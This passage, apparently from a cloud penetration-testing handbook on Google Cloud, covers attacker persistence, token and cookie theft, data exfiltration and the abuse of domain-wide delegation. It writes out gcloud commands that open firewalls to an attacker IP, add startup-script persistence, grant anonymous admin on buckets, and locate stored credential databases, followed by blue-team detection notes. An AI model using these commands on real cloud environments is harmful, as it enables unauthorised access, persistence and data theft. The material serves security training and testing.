"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/account-sa%40pr
}
Python code
from google.oauth2 import service_account
from googleapiclient.discovery import build
import google.auth.transport.requests
# Impersonate user
delegated_credentials = credentials.with_subject('[email protected]')
41
GCP - Persistence
CloudTricks - Carlos Polop
Persistence TTPs within GCP.
• https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-non-svc-
persistance
K8S Persistence
• Using external adminsion control
Abusing IAM
• Add your account as owner of the project level Or Add your account to
the group that is owner.
• Add your account as owner of the organization level Or Add your account
to the group that is owner.
Accessing tokens
In case you compromise a laptop, Mac, or server with Gcloud CLI installed.
GCP tokens are stored within an SQL Lite database.
• MAC Accessing tokens
ls /Users/bryce/.config/gcloud/access_tokens.db
42
• Linux Accessing tokens
ls /home/jdoe/.config/gcloud/access_tokens.db
Browser Cookies
–> If Root Access-> Export (Safari,Chrome,Firefox,etc…)
• Mitre Att&ck technique - T1539 - Steal Web Session Cookie
• Mitre Att&ck technique - T1550 - Sub-Technique Web Session Cookie
• https://embracethered.com/blog/posts/passthecookie/
• https://maxchadwick.xyz/blog/exporting-your-browser-cookies-on-a-
mac/
–> No Root Access - https://github.com/defaultnamehere/cookie_crimes
43
Firewall rules persistence
Requires: - Roles: roles/compute.admin, roles/compute.securityAdmin
- Permissions: compute.firewalls.create, compute.firewalls.update, com-
pute.networks.updatePolicy
Objective : Persistent connection to a GCP resource such as a compute engine.
The following example represent an SQL injection resulting in RCE in one of
the internal applications hosted on compute instance. This instance is only
accessible from corporate internal network.
–> As an attacker we will allow our attacker IP address to connect to that
instance on port 443.
gcloud compute firewall-rules list
gcloud compute firewall-rules create "tcp-rule" --allow tcp:443 --source-range="167.xx.xx.xx
gcloud compute firewall-rules delete tcp-rule
44
If you specify a startup script by using one of the procedures in this document,
Compute Engine does the following: - Copies the startup script to the VM -
Task Scheduler runs the startup script as the LocalSystem account when the
VM boots
gcloud compute instances add-metadata testVM --metadata-from-file=windows-startup-script-ps1
Linux Linux startup scripts can be bash or non-bash file. To use a non-bash
file, designate the interpreter by adding a #! to the top of the file. For example,
to use a Python 3 startup script, add #! /usr/bin/python3 to the top of the
file
Exfiltration
GCP Hound - Exfiltration module
./gcpHound --bucketList storage-project123
./gcpHound --exfilbucket storage-project123
45
Exfiltrating databases
• Cloud SQL
• Cloud Spanner
• Cloud BigTable
• Cloud Firestore
• Firebase
1. Access the database
2. Exfiltration data from the database access
OR
1. Access cloud storage
2. Identify database backup and dump it
# Cloud SQL
$ gcloud sql instances list
$ gcloud sql databases list --instance [INSTANCE]
# Cloud Spanner
$ gcloud spanner instances list
$ gcloud spanner databases list --instance [INSTANCE]
# Cloud Bigtable
$ gcloud bigtable instances list
46
gsutil iam get gs://[BUCKET NAME]
Listing IAM policof specific storage bucket (require: storage.buckets.getIamPolicy)
gcloud storage buckets get-iam-policy gs://production-storage123
Setting specific IAM policy on storage bucket (require: storage.buckets.setIamPolicy)
gcloud storage buckets add-iam-policy-binding gs://production-storage123 --member='serviceAc
Add an admin role for allUsers. [Anonymous - Rest API].
gsutil iam ch allUsers:admin gs://[BUCKET NAME]
47
Domain Wide Delegation Domain Wide Delegation allow some service ac-
count to access Google Workspace data such as Gmail, Drive and others. Ini-
tially design to allows apps to access users’ data across your organization’s
Google Workspace environment.
• https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-
public/gcp_misc/-/blob/master/gcp_delegation.py?ref_type=heads
./gcp_delegation.py --keyfile ./credentials.json --impersonate [email protected] --
You can also use this Python script to validate access, list user directory and
create new administrative account
# Validate access only
$ ./gcp_delegation.py --keyfile ./credentials.json --impersonate [email protected]
48
projects/REDACTED/logs/cloudaudit.googleapis.com%2Factivity
projects/REDACTED/logs/cloudaudit.googleapis.com%2Fsystem_event
projects/REDACTED/logs/bash.history
projects/REDACTED/logs/compute.googleapis.com
projects/REDACTED/logs/compute.googleapis.com%2Factivity_log
#The output log of previous runs may be useful as well, which you get review with
$ gcloud functions logs read [FUNCTION NAME] --limit [NUMBER]
App Engine secrets Some application will rely on secrets that are accessed
at run-time via environment variables. These variables are stored in an app.yaml
file which can be accessed.
# First, get a list of all available versions of all services
$ gcloud app versions list
AI Platform configurations
$ gcloud ai-platform models list --format=json
$ gcloud ai-platform jobs list --format=json
49
GCP Cloud Pub/Sub
# Get a list of topics in the project
$ gcloud pubsub topics list
50
GCP - Blue Teaming / Detection
Visibility
Asset Inventory Asset inventory provide a full visbility over all the GCP
resources accross all the zone in used.
Policy Analyzer
• https://cloud.google.com/policy-intelligence/docs/analyze-iam-policies
Policy Analyzer permits you to queries IAM policies across your organization,
folders or projects. This provides you with access visibility, and support access
administration, audit and compliance related tasks.
–> Policy analyze use query template against specific query scope.
Security Controls
Organization policies The Organization Policy allows admin to provide cen-
tralized and programmatic control over organization’s cloud resources.
• https://console.cloud.google.com/iam-admin/analyzer
• Configure constraints across entire GCP resource hierarchy
• Permits to administrator to set restriction on specific resources
• Organization policy follow inheritance
2 types of constraints: 1. Pre-build constraints 2. Custom constraints
Logging
Audit Logs Google Cloud services write audit logs that record administrative
activities and accesses within your Google Cloud resources.
- Admin Activity: 400 days of free retention - Data Access: 7 days of retention
for free, 30 days of retention for $
–> Only for GCP Services which means no log applications running on GCE.
• https://console.cloud.google.com/iam-admin/audit
Audit logs answer the following: 1. Who {principalEmail} 2. Did what {method-
Name} 3. Where {resource} 4. When {timestamp}
2 main type of log: 1. Admin Activity Audit logs 2. Data Access Audit logs
Log Explorer Log Explorer in Google Cloud Platform is a powerful tool that
allows you to quickly and easily search through your log data. You can use Log
Explorer to find out what is happening on your system, track down errors, and
even diagnose performance issues.
51
• https://console.cloud.google.com/logs/query
Monitoring
Security Command Centre –> https://console.cloud.google.com/security/command-
center/overview
• Gain centralized visibility and control.
• Discover misconfigurations and vulnerabilities.
• Detect threats targeting your Google Cloud assets
52
policy changes. This can be useful for investigating security incidents and iden-
tifying the root cause of an issue.
Cloud Data Loss Prevention API: This service helps organizations detect
and classify sensitive data within their Google Cloud environment, including
personally identifiable information (PII) and intellectual property. It can be
used to prevent data leaks and protect against data exfiltration.
Cloud Security Scanner: This service helps organizations identify vulnera-
bilities in their Google Cloud environment, including misconfigurations, missing
patches, and insecure libraries. It can be used to proactively identify and ad-
dress potential security issues.
GCP - Misc
GC2 (Google Command and Control) permits to an attacker to execute
commands on target machine using Google Sheet and exfiltrates data using
Google Drive - https://github.com/looCiprian/GC2-sheet -
53
GCP - Resources
GCP - Security - HackTricks
• https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security
SAINTCON 2019 - Bryce Kunz - May the Cloud be with You: Red
Teaming GCP
• https://www.youtube.com/watch?v=gTFPn-Z7Cc4
GCP - Pentestbook
• https://pentestbook.six2dez.com/enumeration/cloud/gcp
Compromise any GCP Org Via Cloud API Lateral Movement and
Privilege Escalation
• https://www.youtube.com/watch?v=Ml09R38jpok
54
Defcon - Lateral movement and privilege escalation in GCP
• https://www.youtube.com/watch?v=Z-JFVJZ-HDA
GCP Looting
• https://book.hacktricks.xyz/cloud-security/gcp-security/gcp-looting
55
GCP - OAuth token hijacking in GCP
• https://www.netskope.com/fr/blog/gcp-oauth-token-hijacking-in-google-
cloud-part-1
• https://www.netskope.com/fr/blog/gcp-oauth-token-hijacking-in-google-
cloud-part-2
Dylan Ayrey Github Repo - Attacking and Defending the GCP Meta-
data API
• https://github.com/dxa4481/AttackingAndDefendingTheGCPMetadataAPI
56
Training - Vulnerable Cloud environments
• Cloudgoat - https://github.com/RhinoSecurityLabs/cloudgoat
• SadCloud - https://github.com/nccgroup/sadcloud
• Flaws Cloud - http://flaws.cloud
• Thunder CTF - http://thunder-ctf.cloud
• GCP Goat - https://github.com/ine-labs/GCPGoat
• GCP Privesc Scripts - https://github.com/carlospolop/gcp_privesc_scripts
57